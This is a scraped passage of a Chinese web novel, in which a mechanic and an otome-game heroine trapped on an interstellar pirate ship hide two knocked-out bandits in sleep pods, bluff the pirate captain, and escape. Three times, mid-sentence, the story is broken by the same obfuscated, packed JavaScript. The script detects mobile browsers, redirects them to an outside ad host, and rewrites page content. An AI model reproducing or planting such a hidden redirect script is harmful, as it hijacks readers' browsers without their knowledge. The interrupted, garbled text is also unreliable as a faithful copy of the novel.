唉，头疼。我是不是不该接下这个烂摊子，达里恩心想。 “那些话就当我没说过。你们现在最好找一个宇宙维修站点，把飞船停进去，让他们仔细检查一下。” AM·库伦的脸色有些阴沉：“阿达，我是真的非常相信你的修理水平，才会这么热情招待你的。如果我一开始能去什么宇宙维修站点的话，就不会叫你来了。” 刚刚还好声好气说话的人立马变了一副嘴脸，恶狠狠的，像要将他当场拔皮去骨一样。这种既视感是什么呢……？ 达里恩仰起头：嗯，是“上了贼船”的感觉。 “容我抽一根烟。” “呼——我当然可以帮你们把飞船修好，但你们知道一代飞船的零部件现在有多难找吗？”达里恩用牙尖叼住烟尾，骨指捏住烟头，一掐，烟轻飘飘地点燃了，动作浑然天成，就连他自己都没有意识到。 “这不是技术能够解决的问题。” 他两手一摊：“我是个维修工，不是能凭空造出零部件的加工厂。换句话说，只要你能给我提供所需要的‘替换零部件’，我就能帮你修好。” AM·库伦微眯双眼：“阿达，你之前没和我说过这种事情啊，我还以为这种事情是你自己看着办的呢。” 他笑得狡诈多端，“只要能把飞船修好，我不会管你用的什么方法。但是，如果你不把飞船修好的话，是没办法离开的。” 有什么冰冷的物体，抵住了达里恩的后背。 ——真是令人作呕。 “好啊。” 达里恩微微一笑，他跳下座椅：“我自己看着办。” *** 【星际盗贼团“黑鼠”大本营，维修间】 “我觉得这里可能会有我所需要的东西。” 达里恩之前就在好奇这个地方究竟有什么秘密，现在，他找到了可以肆无忌惮探索的理由。 虹膜识别密码器有一个非常简单的破解办法：只要拥有生产商授予的“最高通行代码”，就可以畅通无阻。 所有的密码器从一代开始，都是由军方生产。这也是此类技术能够快速迭代的原因之一。 「最高通行代码输入完毕。」 舱门大开，寒气四溢，不难从凌乱不堪的电线看出来：维修间被废弃很久了。 空气中飘散着白色的灰尘颗粒，在隐约可见的光线折射下，形同一场细雪，密密地铺在货架之上。舱内被各种杂物堆满，扫了一圈，没有看到什么奇怪的东西。 达里恩捡起被扔在一旁的维修用小机器人，虽然从表面看是老化了，但工作指示灯能亮，就代表还可以正常工作。 “先用这个把他们的飞船检查一遍，把必须换的换了，还能勉强用的就留着吧，认真负责的工作精神不该是用在他们这种败类身上的。” 这时，他听见了急促的咳嗽声，从里面一个很不起眼的隔间传来。 八成是电视吧？达里恩心想。 明明心中已经有了准确的答案，可他的腿却不听使唤地往那处迈。明明知道不能在贼船上轻举妄动，可为什么……达里恩在隔间门口站定。理智无法为他寻找到一个合理的解释，而唯一不合理的理由便是：他觉得这个声音很熟悉。 ——身体必须要行动起来了，这个人好像是他认识的人。 推开门，达里恩看见了一个浑身是血的黑发女人。 他想错了，这个人他并不认识。 女人正被一个强盗推入水中，决然的眼神里满是悔恨，但是，那双眼中没有任何面对强盗时会有的惊讶，或是恐惧的成分。脑海中瞬间冒出来了一个念头：她是一个强势的人，达里恩心想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139186|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在身体即将落到水平面下的那一瞬间，女人笑了。 她的表情轻松而又释然，就像是在无声地吐露出两个字——“解脱”。但又不仅仅于此，解脱并不意味着放弃，而是诉说着另一重意思：我死后将下至地狱，到那时，我会把你们一起拽入进这片死地，你们终将无处可逃。 “这是什么感觉？”达里恩皱眉。 光是简单想象，就足够让他心悸。 *** 前所未有的安静。 除了安静之外，胸/口久不退却的闷闷钝痛让柳莳萌喘不过气。 “任务失败重来一次……是这么痛苦的事情吗？”她现在应该什么都不记得，重新开始才对。可她的记忆还停留在落入水后的数秒内。 当柳莳萌意识到，自己必须要用双手夺取谁的性命时，心不可抑制地焦虑起来。 不能再软弱下去。 把一切当成是游戏任务，把身边的人当成是游戏n/pc就好了，反正他们都是虚构的存在，又不是真的死了。只要能回家，她什么都可以做到！ “但我……” 眼角发酸，她还是有点想哭。 如同陷入长眠，柳莳萌走在朦胧意识深处的边缘时，情绪如潮涌至，拍打着她的双踝。除了厌恶、后悔与恨意，还有一份浅薄的不甘，像白色的浪花泡沫，随着浪潮翻涌，被缓缓推上表面。 她蹲下/身去触摸：原来最不甘的那个瞬间，是终于意识到了“这次没有人会来拯救我”。 ...... “咳咳咳咳——！”呼吸到了久违的空气，柳莳萌猛地睁开眼睛，“怎么回事？我没死？” “没有。” 达里恩全身湿透，坐在水池旁边看着她，他抬起手，擦掉下巴滴落的水珠：“如果再晚发现一点，你可能就真的死了。我把你从水里抬上来的时候，你已经没什么呼吸了。” “但你的生命力很顽强，做了几次人工呼吸，很快就把水全部吐出来了。” 人工呼吸？还做了几次？柳莳萌拽住他的衣服着急道：“喂！你怎么能脸不红心不跳地对我做出这种事情！” “男女有别，授受不亲……你……你明明可以直接使用收割的生命力来救我，你、你该不会是故意的吧！” “你在说什么？”达里恩根本听不懂她说的话，他推开她的手，“不用这种方法救你，难道你要我眼睁睁地看着你死吗？” “后人类星际保护法里面写得很清楚了：伤害妇孺与儿童犯法，见死不救者与伤人者同罪，是要进监狱的。” 他耸了耸肩膀：“我不想去监狱里吃牢饭。” 怎么回事？他好像什么都忘了。 柳莳萌为了印证心中的猜想，果断靠近他。她的脸在紫色瞳孔中成倍放大，而达里恩在察觉到的一瞬间，他的身体居然没有任何动作。 这不科学！ 按照往常，她做出这种远远超出达里恩设想的动作时，他都会迅速退远，然后一脸关切地问她一句“你怎么了”才对。 以及……她向右瞥了一眼。 【身份信息面板已上线。】 【姓名：达里恩·不完全体A，身份：机械师……】抛开后面那一长段无关紧要的出生年月日身高体重血型年龄和背景信息，面板上所显示的“不完全体A”让柳莳萌很是在意。 达里恩失去记忆绝对不是偶然，而他的身份是机械师不是死神，或许，都与这次的活动任务有关。 “你，这是在做什么？” 达里恩启唇问道，他眼神冰冷，像淬了巫药的锐利锋刀，深深地刺向她。但柳莳萌玩多了游戏，见多了冰山毒舌腹黑攻略角色，早就对这种冷言冷语心理免疫了。 她反手一指：“我，现在有一个问题。” “你是不是不认识我？” 虽然一闪而过，但柳莳萌还是敏锐地从达里恩的沉默中觉察到了真相：好像是对的，他心里肯定在想“你是哪位”、“我有必要认识你吗”之类的事情…… “不用回答我。” 柳莳萌敛眉垂眸：“我知道你想说什么了。” 而实际上，虽然达里恩很想这么说，但他无法否认。这让他有些为难，疯狂挠头：如果说完全不认识，那他一开始听到声音的时候，就会选择默默避开，而不是硬要往这边走了。 “不，你应该不知道我想说什么……”达里恩顶着一头被自己挠乱的头发，别扭地偏过头。 “关于这个问题，我们可以留到后面再谈。我觉得，目前我们两个应该都没有余力去担心其他问题。” 他说的没错。 柳莳萌动了动手指，摸到了干涸的血迹和两具冰冷的尸体，她动作一顿，“你到底干了什么，他们……真的还活着吗？” 【身份信息已刷新。】 【姓名：HC·罗德曼（假名，真实姓名不详），身份：强盗，星际盗贼团“黑鼠”成员之一，悬赏金一万。 刷新-负面状态：无法行动。后脑受到钝器击打，昏迷不醒，其中，全身多处粉碎性骨折、肋骨断裂。持续时间6个小时。】 【姓名：YJ·布鲁尼（假名，真实姓名不详），身份：强盗，星际盗贼团“黑鼠”成员之一，悬赏金一万。 刷新-负面状态：无法行动。后脑受到钝器击打，昏迷不醒，其中，肋骨、肋软骨断裂。持续时间3个小时。】 柳莳萌看完，站起身，周围不能细看，简直是惨不忍睹。 “我下手有分寸。” “他们没死透，我只是把这群败类胖揍了一顿而已。”达里恩举起拳头，就算不是为了救人，他也老早就想这么干了。 “不，你没打死他们，这才是最麻烦的。”柳莳萌将自己在面板上搜集到的信息整理了出来，“他们最快将在三小时后醒来。” 32. 赛博都市加载中5 柳莳萌与达里恩互通姓名，交换了情报，很快她将目前二人面临的困境从头梳理了一遍，发现他们要想安全从飞船上离开，并不是一件容易的事情。 “首先，我很感谢你出手搭救了我，但这一伙人绑/架我是早有预谋的。”她冷静道。 “他们想知道星际监狱的密码箱在哪里，结合他们迫切地想修好飞船这一点来看，盗贼团的下一步计划恐怕就是劫狱。”柳莳萌略微一滞，慢慢皱起眉头，“而知晓这一点的我们，必然会被他们视为必须要铲除的威胁。” 她看向昏倒在地上的HC·罗德曼和YJ·布鲁尼：“但得知这件事情的人不多。” “我们只有从他们入手，不让消息泄露出去，才能活着离开。” “了解了。” “我的想法和你一致，不过，把他们杀死不在我的计划范围内。但如果你执意如此，那也不失为是一种好选择。”达里恩从后扣住他们的脖子，仿佛只需轻飘飘一拧，就能让他们立刻断气。 “反正这种人本来就不应该存在，要不，就干脆都杀掉吧？” 稍纵即逝的狠戾让柳莳萌确信：达里恩的内里还是达里恩，他的本性还是那个杀伐果断的死神。当她找回了一些旧日的熟悉感，如同远航的船回归港湾，心也随之而被轻轻放下。 “不，不用杀掉！”柳莳萌阻止他。 “如果你在这里杀死他们，那你就会变得很麻烦了。”无论是处理血迹，还是处理尸体，都免不了在飞船上走动，被发现的可能性极大，而且…… 她攥紧手：“他们跟你没有关系，如果真的被发现，我不能让你和我一起陷入危险之中。” “……” 听完她说的话，达里恩松开手：“那你打算怎么做？” “就凭你？你还有余力担心我吗？不杀了他们，让他们就这样从昏迷中醒来的话，危险的人可是你。” 从什么时候开始，连担心都不能够被他允许了？凭什么？柳莳萌咬紧牙，心情莫名烦躁：他就是在小瞧我吧。 “那就……让他们保持昏迷状态不就好了。” “和之前不一样，这一次，我们没有必要杀/死任何人。” 糟糕了——！柳莳萌意识到自己说错话，她赶紧捂住嘴。种种迹象表明，达里恩现在还不认识她，他肯定会起疑心的。 但奇怪的是，他面上平平，似乎对此毫无反应。 “说得好啊。” 达里恩突然笑了，而后慢慢靠近，距离近到她的耳畔能够听见他的鼻息。他用只有两个人才能听见的声音说道。 “如果我知道你和这些败类是同种人，我会把你一起收拾掉。” 她看不见他的眼神，但能听出其中毫不犹豫的口吻。想起了面板中显示的创伤信息，柳莳萌不寒而栗。 “我知道哪里能够让他们保持昏迷状态。” 达里恩告诉了柳莳萌睡眠区域中“睡眠舱”的存在。 “睡眠舱一般是乘客进行休息的地方，但是，在飞船进行远距离航行的时候，睡眠舱会强制开启‘休眠模式’。” “休眠模式是保持人体睡眠所需氧气，同时注入镇静喷雾，让人无法醒来的一种特殊航行模式。” “因为一艘飞船要达到满速行驶，必须要抬高动力系统功率，减少其余不必要的功耗，所以，关闭所有所有舱门和功能区域是必要条件。出于保护乘客与飞船设计的角度考虑，强制睡觉无疑是最为稳妥的。” “呃，等等等等……” 扑面而来的信息让柳莳萌有些头晕，重点是，她好像知道了什么不得了的事情！ “所以你的意思是，把他们塞进睡眠舱里，再开启休眠模式的话，他们就会保持一种昏迷状态无法醒来。” 达里恩：“没错。” “那就这么办吧！我也来帮你！”柳莳萌摩拳擦掌准备搬人，但她突然想到，“我好像……不是能随便走动的状态。” 作为一个被绑/架上贼船的人，在贼船里自由走动反而更容易引起怀疑。但随之而来的问题是：谁也无法保证留在原地一定是安全的，就连死神本人也不行。 柳莳萌靠在墙边，托住下巴静静思考：难道眼下就没有什么能够“掩盖身份”的办法吗？ 突然，在不经意间，她瞥见水池角落里有一个灰漆漆的“巨物”。走近看，柳莳萌发现“巨物”的真实身份是“维修用机器人”。 【维修用机器人，别称“白色清道夫”，它有能够自由改变大小的椭圆形身体，形同蚂蚁，能够嵌入，检查各个角落，植入的智能芯片让它能够像经验丰富的技术工人一样行动，是人们不可或缺的好帮手。】 在看见它酷似人类的机械手臂后，她有了一个好主意。 *** “假扮成维修用机器人帮助我？” 达里恩用审视的目光将她从头打量到脚：“那些人确实对这些东西一窍不通，你假扮成机器人绝对不会被他们发现，这是一个绝妙的好主意……你认为我会这么说吗？” “那些人就算不懂，但也不至于会蠢到分不清人与机器人的地步。” 他本想这么说，但话一到嘴边，就变味了。为何他总想推开她，拒绝她，反正如今情况，多一个帮手也没什么坏处，不是么？找不到合理的理由，一个都没有。 既然找不到，那就找一个。 “可以，但是我有一个条件。”达里恩在她面前站定，“你的计划漏洞百出，想成功，必须要听我的。” 他不相信自己就是拿她没辙。 *** “你真的……不是在整我吗？” 柳莳萌麻利地带上“改良的头盔”。为了展示自己的实力，她表现得毫不费力，但实际上，她站直的时候大喘了一口气。 新纪元活动面板异常活跃，她能通过面板知道很多额外信息。 这个头盔少说都有十几公斤沉，更别提身上那些伪装成机械义体的零件，零零总总加起来也有二十公斤重。柳莳萌感觉自己要被压趴下了。 要是普通高中生还真不一定能站住，估计是星际猎手的身份在背后起了关键作用。 “机器人是不会抱怨自己的身体重的，跟上。” 达里恩站到了她的身旁，用手扶住她的背，借了些力给她，“出去以后，你紧跟着我就好，不要说话也别乱看，就算有人和你搭话，你也别理他。” “知道了。” 这有什么难的。柳莳萌将头盔戴上，心想。 由于睡眠区域附近还有人，达里恩要先把其他人支开。才刚出门几步，迎面就走来了一纵列巡逻小队。巡逻队的人手里都握有武器，为首的花臂队长注意他们的瞬间停下了脚步，不停地往这边看。 “站住。” 他伸出手。 柳莳萌的瞳孔狠狠骤缩：这个人盯上我了！他居然无视了走在靠前位置的达里恩，单单准备拦下我！ 一般这种情况下，机器人会怎么做？一旦动脑子思考就会露出破绽，但若放弃思考活路，就只有死路一条。 她的大脑飞速运转：机器人只会按照设定好的程序行动，稍作替换，便是“指令”。而她接收到的指令是——紧跟着达里恩，不说话，有人搭话也不搭理。 于是，柳莳萌无视了花臂队长，他说的话也当没有听见，继续向前走去。直到头盔的玻璃罩完全贴住了他的手臂，柳莳萌也没有停下。 “什么东西？” “你听不懂人话吗？！” 花臂队长高抬起手，明眼人都能看得出来，他已经濒临愤怒了。柳莳萌闭紧眼，心想：不要害怕！仔细想想，如果被打的话，机器人会怎么做？ 无论怎么想，机器人都只会站着不动乖乖被打啊！这谁能不害怕啊！！！ “不是人的机器人当然听不懂人话。” “气冲冲对一个机器人动手，也不怕让你的手下看笑话。” 达里恩的手轻轻一搭，放在花臂队长的手臂上。 那只布满旧茧的干净大手，与瑰丽狰狞的红绿色刺青形成了强烈的反差，像生长在棘刺丛中的香槟玫瑰，让人挪不开眼。这么一看，达里恩与真正凶恶的人相比还差得远，只不过是长得凶了一点而已。 “你说什么？咳呃！” 花臂队长突然感觉手腕一痛，他好像看见了非常恐怖的景象，涔涔汗水像瀑布一样止不住地从他的额角滑下。“我的手、手变成白骨了……”他将手慢慢蜷起，景象仿佛一场幻想，立刻烟消云散了。 他眨了眨眼，像是才回过神来，语气间满是不可思议道：“你对我做了什么？” “我什么都没做。” 达里恩微笑着放开了他的手，“你应该知道我是负责修理飞船的维修工，但是，我在检查的时候发现，睡眠区域有几个睡眠舱出现故障了。” “好心提醒一下，巡逻的时候最好避开那片区域。如果不好好处理的话，睡眠舱舱体可能会释放出成分不明的废气，把路过的人毒死。” 不知道是不是柳莳萌的错觉，她感觉达里恩说话时格外加重了“毒死”这两个字，似乎话里有话。而盗贼团巡逻小队的确再没敢往这里走，之后撞见达里恩时，表情也如同看见瘟神，唯恐避之不及。 “除了巡逻小队以外，还有三个人是需要支开的。” 柳莳萌看着他走进隔壁的驾驶室，但这一次，达里恩进去很久都没有出来。 过了一会儿，里面传来很大的争吵声。 “我让你来修理飞船，不是来指挥我做事的！” “老大，我怎么觉得他像是在找借口，为自己开脱呢？我们之前对他的态度可太好了，都不像我们会干的事情了，老大咱们干脆点……” AM·库伦撸起袖子，露出了隐藏在衣服之下的机械义体，他将自己的右手改装成了能够发射子弹的指枪。他的左右手也改造了身体。 一瞬间，十五个漆黑的孔洞对准了达里恩。 他咆哮道：“你给我听好了！现在就给我去修飞船，不然……你就再也别想回到那个该死的云端之城了！” 由于戴着改良的头盔，柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160823|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莳萌听不清房间里的人说的话，但最后一句穿透了厚厚的舱壁，刺痛了她的鼓膜，她听得非常清楚。 原来，达里恩一直在受盗贼团老大的威胁，而他们已经下达了最后的死亡通牒。现在他也有危险了。 她能做些什么呢？ 柳莳萌抿唇，一定有什么事是她能够做到的。 这里不是现实世界，而是乙女游戏！若是游戏一场，便不需要遵循所谓的现实法则。她犹记得，当初新纪元活动预热的主题正是——超越想象。 *** “主人。” 柳莳萌发出了此生最为机械的声音，用平和到不可思议的身体打开舱门，走了进去。她将后背的工作指示灯调至最亮，驾驶室亮如白昼，让AM·库伦一伙人的眼睛什么都看不见了。 “已观测到飞船故障部分，现在开始进行自动维修前检查。” 在场的人都震惊了，他们从未见过会主动与人类对话的“人型机体维修用机器人”。 “这是……”AM·库伦有些起疑。 按道理来说，最新一代飞船都没有的东西，一代飞船不可能拥有，但，谁会拒绝高级产品呢？这可是属于盗贼团飞船的机器人，是他珍贵财产的一部分。 他大赚特赚了一笔，高兴还来不及。 想到这里，AM·库伦的嘴角微微上扬，他用手压都压不下来。而达里恩只是微眯双眼，沉默不语，他想知道她到底要干什么。 “检查进度百分之五…百分之十…百分之十五…警告，由于距离过远，自动维修前检查已暂停。重新观测。” 柳莳萌早就计划好了。 多亏了刚才路过的巡逻小队和花臂队长，让她能够发现一个惊人的事实：即便新纪元是接近未来的高级活动世界，可普通后人类对机器人的认知仍停留在“工具”的层面。 即，只需要彻底遵循人的指令，将严格满足人的意志与需求作为第一要义，就不会露出破绽。 她只需要扮演一个尽职尽责的工具人就好了，反正他们也根本不懂什么机器人。 “已观测到飞船故障部分，现在开始进行自动维修前检查。” 此时的柳莳萌仿佛化身成为了一个面无表情的复读机，她神情自若，用平和的嗓音不断重复着之前说过的话。 “检查进度百分之五…百分之十…百分之十五…警告，由于距离过远，自动维修前检查已暂停。重新观测。” 这是一个不可能完成的“错误指令”。 当她重复到第五遍时，AM·库伦再也受不了了：“这就是你说的维修用机器人，它为什么……为什么这么……呃，没用啊？它就是一直在重复一样的话啊？！” 他痛苦地抱住头，感觉自己的头要被念经一样的话给念炸了。 “那是当然的。” “因为你们看上去很急着要修好飞船，所以我在维修间找到机器人的时候，立刻就给它设定好了程序。” 达里恩也不着急，他交叉双臂靠在驾驶座上：“这个机器人会疯狂地检测飞船出现故障的部分，一旦检测到，就会立刻向我报告。但是，这个机器人内部并没有导航芯片。如果没有我的引导，机器人就无法到达故障地点。” “无法到达故障地点，就会不停报错。” “就像现在这样。” 而柳莳萌早已准备好了，她深吸一口气，缓缓道：“已观测到飞船故障部分，现在开始进行自动维修前检查……” “行了行了行了！” “我知道你有在好好维修飞船了！”AM·库伦大喊大叫道，他再也不想听到这个烦人的声音了，“那你就在这里好好引导这个机器人把我的飞船修好。” 柳莳萌：“检查进度百分之五…百分之十…百分之十五…警告，由于距离过远，自动维修前检查已暂停。重新观测。” “这机器人要一直这样……到什么时候？” 听了不下十遍，AM·库伦一伙人已经有些恍惚了，他们走出驾驶室的步伐轻飘飘的，其中一人还趔趄了一下。 “我想一想……”达里恩回。 他迟疑了好一阵子，让他们站在原地又多听了几遍，直到他们脸上露出痛苦面具，他才放过他们。 “如果你们不想听，等你们离开之后，我会调整程序，让她恢复到正常的模式。但这需要一段时间，在这段时间里你们最好躲远一点。” 柳莳萌：“已观测到飞船故障部分……” AM·库伦再也无法忍受了。他一句话都不愿再听，没等柳莳萌说完，就带着他的左右手飞快地躲得远远的了。 “呼——得救了。”柳莳萌松了一口气。 她紧绷的神经终于放松下来，“别以为我不知道，你刚才就是故意让他们多听几遍的吧。真是坏心眼的家伙！” “我们彼此彼此。”达里恩回。 短暂的沉默过后，他们相视一笑。 这是一次默契而又短暂的协力合作，仿佛这世界上除了生死相隔，再没有什么意外和困难能够击垮他们。 33. 赛博都市加载中6 “喂！” “不回我话吗？假装没听到？”柳莳萌歪头向外一探，“太过分了，就算是我有点过错，也不至于用苦力活来惩罚我吧。” 她正在按照计划，把HC·罗德曼和YJ·布鲁尼搬进睡眠舱。这两个大块头挺沉，而且也很显眼，虽然这片区域现在已经没有闲杂人等，但达里恩还是站在门口替她把风。 达里恩耳朵微动，他像一只警惕的大黑狗，听到一丁点小动静后，慢慢向后扭头。 “不是惩罚。”他认真道，“是你违约在先，没有遵守我们之间的约定。” “之前说好了，你要按照我的安排行动，不能轻举妄动，我瞧你刚刚英勇地跑出来，一定是把我们的约定彻底抛在脑后了。” 那张嘴发出了第一声低笑，三分戏谑七分怜悯，不是嘲讽，胜似嘲讽，“他们都不在，你可以慢慢来。” “你……”柳莳萌手一抽，血气上涌。 她都不知道，原来达里恩的性格有这么糟糕的一面。是因为对他来说，她只不过是一个碰巧遇见的陌生人么？那他们之前经历过的事情又算什么？ 感知到了个人领域清晰的边界线，柳莳萌的思绪开始神游。除了完成活动任务之外，她越发想搞明白：他的身上究竟发生了什么？ “好了，收工。” “走吧。”达里恩向驾驶室示意，“我帮你解决了你的麻烦，现在该你帮我解决我的麻烦了。” *时间过去十分钟… 大致了解了情况之后，柳莳萌发现一报还一报的做法对自己来说相当吃亏：“我来捋一捋，你打晕两个人就解决了我的麻烦，要想解决你的麻烦，我要换管道，换喷注器，还要检查电路……换位想想，这真的合理吗？” 达里恩扑哧一笑：“没办法，谁让我先帮了你。” 该死的！她要收回之前说过的所有话，他的性格简直烂透了。柳莳萌开始嘴硬，她狡辩道：“但是，你不是说这根本办不到吗？” “是啊，是这样没错。” 一片死寂笼罩了驾驶室。 “不，不是！”柳莳萌慌张摆手，“我是开玩笑的，这句话你之前其实没有说过啊！” “是么？”达里恩抬眸，瞥看她一眼。 “可我并没有在开玩笑。” 刚刚达里恩已经确认过了：维修间里有可替换的备用管道，但飞船仍在行驶状态，盗贼团并不打算停下。 如果他们强行更换，就必须顶着滚烫蒸汽，冒着被烫穿的危险进行，更别说在这个过程中，还有可能被电死，被砸死，万一飞船失控，他们就直接被流放宇宙了。 至于燃烧喷注器，他没有找到可以替换的。 “总之，目前的情况就是这样。” 柳莳萌没想到会是如此严峻的局面，盗贼团的老大已经和他翻脸摊牌了，他们别无选择。 她提议，“不如……我们假装修飞船，在不引起任何人怀疑的前提下，偷偷把飞船开到星际监狱去吧？” “不是逃出去？” “而是打算开到监狱里？”达里恩屈指，在自动驾驶的方向盘上有节奏地敲击，似乎是在思考什么，“我真搞不明白你的脑子里在想些什么。” 这比修不好飞船还要危险一万倍。 AM·库伦看起来歇斯底里，但实际上，他说话时的语速，还有礼貌的习惯，都暴露了他是个做事深思熟虑的人。 若是达里恩暴露出自己的真实身份，计算一番得失之后，AM·库伦说不定会考虑放过他们。若是把整艘船的人打包送进监狱……只会让他们陷入绝境，而这群恶徒将会变得比魔鬼还可怕。 “我……”柳莳萌攥紧手。 既然是彼此信任的合作伙伴，她不想对他有所隐瞒。 “我很缺钱。” “我知道他们的悬赏金有多高，要是能把他们都送进监狱的话，我就能赚一大笔。” 星际猎手正是以此为生的，虽然她现在的水平还远远达不到及格线上。柳莳萌深吸一口气，“我知道你在想什么，你肯定觉得我是个有点贪财，还有点爱耍小聪明的人，但是……这也是我。” “和你这种运气爆棚的角色不同，我的运气向来很差，所以我必须抓住每一次机会，这样才能够达成我的目的。” 她不指望达里恩能够帮助自己，哪怕是微不足道的理解，她也未曾想过。 死神变了，变成了一个随处可见的普通人。 而她好像不能再奢望达里恩来保护自己了，有必要的话……那些无理取闹的抱怨也一并收回，柳莳萌心想。她不打算将他卷入进自己的任务之中。 “我暂时要留在这里。” “知道了。”达里恩面无表情，但他的动作背叛了他的言语。他停下手里的动作，抬起头，干脆利落，毫不迟疑：“这是你的选择。” “但你别无选择。” -------- 【新纪元，未正式进入主线部分，序幕】 【因小型星际盗贼团肆虐，利用飞船在航道中穿梭，劫持各大商团飞船，协商未果后进行烧杀抢掠。 所涉及人群包括：男子、女子、老人、儿童、部分外星族群如虫族、半兽族、X拟态异形族……严重破坏了后人类星际保护法。现银河系集结十三支军团，对星际盗贼团及相关团伙进行清剿。 一场星际大战由此拉开序幕。】 【※未公开档案，玩家无预览权限。】 “轰”—— 红色警示灯将驾驶室染成血色，巨大的声响和飞船的震荡一起，要把柳莳萌的内脏给震碎了。机械的女声冰冷地播报着飞船的受损情况，右舷受损，能量泄露。她紧咬牙，感觉舌尖渗出血味。 【蓝色能量管道，运输飞船能量的核心管道，一旦破裂将使飞船失控，不可逆转。】 “这是……这是你干的吗？！” 柳莳萌努力在摇摇晃晃的船舱中稳住脚步，但她感觉天旋地转的，周围的一切都在疯狂跳动，包括她自己的身体。“啊……！”这时，不听使唤的脚崴了一下，让她的身体打了个滚，撞到门框上。 她闭紧双眼，但没有感受到疼痛感。 柳莳萌睁开眼睛，发现自己撞到了达里恩的身上，“咦？但我记得……”他原来是稳稳地坐在驾驶座上来着，是从什么时候来到这边的？ 还未想明白，一只粗壮的手臂已经揽过柳莳萌的腰，将她拦腰抱起。 成年男人的身体骨骼分明，结实的肩膀如同石块重重地硌了她一下，他的力度不算温柔，柳莳萌感觉自己的胃里面翻江倒海，像是要被捅破了。 柳莳萌对他的后背又踢又打，发觉自己的拳头对他来说就像棉花一样，这点让她脸色涨红：“混蛋！等下！你就不能先给我一点提示吗——！” 等？达里恩微微皱眉。 他记得，上一秒这个女人还用一种决心赴死的眼神看着他，言之凿凿说要“留下来”呢。他才不等，等她反应过来说不定黄花菜都凉了。 “等你安全出去后，我会和你解释清楚的。” “等下！”柳莳萌很清楚达里恩举起手，接下来是想要做什么，正因为太过清楚，才如此惊慌失措，“我知道了，我改变主意了！不留下来了！我乖乖跟你走别打晕我！！！” 最后，柳莳萌还是被一记手刀劈晕了。 *** “唉。” “他到底为什么要这么对我？” 柳莳萌从一张白色的病床上悠悠转醒，她摸/了/摸脖子，感觉被打的地方还有些酸痛。消毒水混合着消毒液的刺鼻气味久久不散，但她环顾四周，感觉此处并不是医院的陈设。 “这里是我的个人房间哦。” “不过你不用害怕，我是一名军医，是不会对你做出什么出格的事情的。” 柳莳萌抬眼，看见一个身穿白色大褂深蓝色裤子的人站在病床一侧。 【姓名：肖格尔，身份：军医，达里恩的同僚，两人相识多年，有很深的交情。】他一头白发，长相斯文，说话温温吞吞，看上去和达里恩是完全相反的类型。 他的手背贴住柳莳萌的额头：“例行检查，体温正常，很好，你没有受伤，身体应该也没什么大碍了。” “达里恩和我说你醒了就立刻叫他，不过他临时有事出去了，过会儿才能回来。” 肖格尔眉眼弯弯，话语温柔，有一搭没一搭地同她说话：“你昏睡了两天，刚醒来身体应该很缺水，需要我去帮你倒一杯水吗？” “好。” 温柔的人说话总是有一种不容拒绝的魔力，之前玩游戏的时候，柳莳萌就很难拒绝这类角色的要求，也很容易被这类角色吸引。但奇怪的是，她对肖格尔没有任何感觉。 心像被投入湖泊，湖面却没有泛起一丝涟漪。 柳莳萌拔掉输液管，起身下床，她伸了个懒腰，一低头，发现自己身上的机械零件和衣服全被换掉了。 “医生，是你帮我换的衣服吗？我原来的那身衣服跑到哪里去了？”她跑去问肖格尔。其实这么做大可不必如此，问就是：柳莳萌的游戏收集癖大发作了。 对方闻言一愣。 先是诡异地沉默，而后露出一副“害怕生气”的表情，肖格尔偏移目光，始终不敢与柳莳萌对视：“……不是我换的。” “因为你戴着头盔，身上又有各种我不熟悉构造的机械零件，如果强硬将它们扯下来的话，很容易把病人弄伤。所以……”他闭上眼，下了很大的决心背叛友人。 “是达里恩亲自帮你换的。” “……” “什么？！！！！！！” 柳莳萌揪住肖格尔的衣领逼问道：“医生，请问，那个把我的身体看光光，最后又对我始乱终弃的混蛋滚到哪里去了？”她没想到事情的发展会变成这样，痛苦地抱住头坐在床边。 同时，她也没有注意到达里恩已经站在门口，静静地听完了全过程。 他开口，保持着一贯的冷硬作风：“肖格尔，你检查好了就出去吧，我有些事情需要和她解释一下。” “嗯，你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169702|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好谈谈吧。”走到门口，像是突然想到什么，肖格尔折返回来，对达里恩厉声道，“你别像平时那样粗暴地对待一个小姑娘，要温柔一点，听到没有？” “知道了。” 柳莳萌听到达里恩如此回复以后，心口涌上来一股浓浓的委屈，她不满道：“淦，你已经粗暴对待过了，混蛋……” “骂人也该记清楚你骂的到底是谁吧，我不叫‘混蛋’，我叫‘达里恩’。”达里恩在她面前蹲下，仰头望着她，“还有，我只帮你脱掉了头盔和身上那些伪装成机器人的改装部件，剩下的那些，我都是让机器人帮你弄的。” 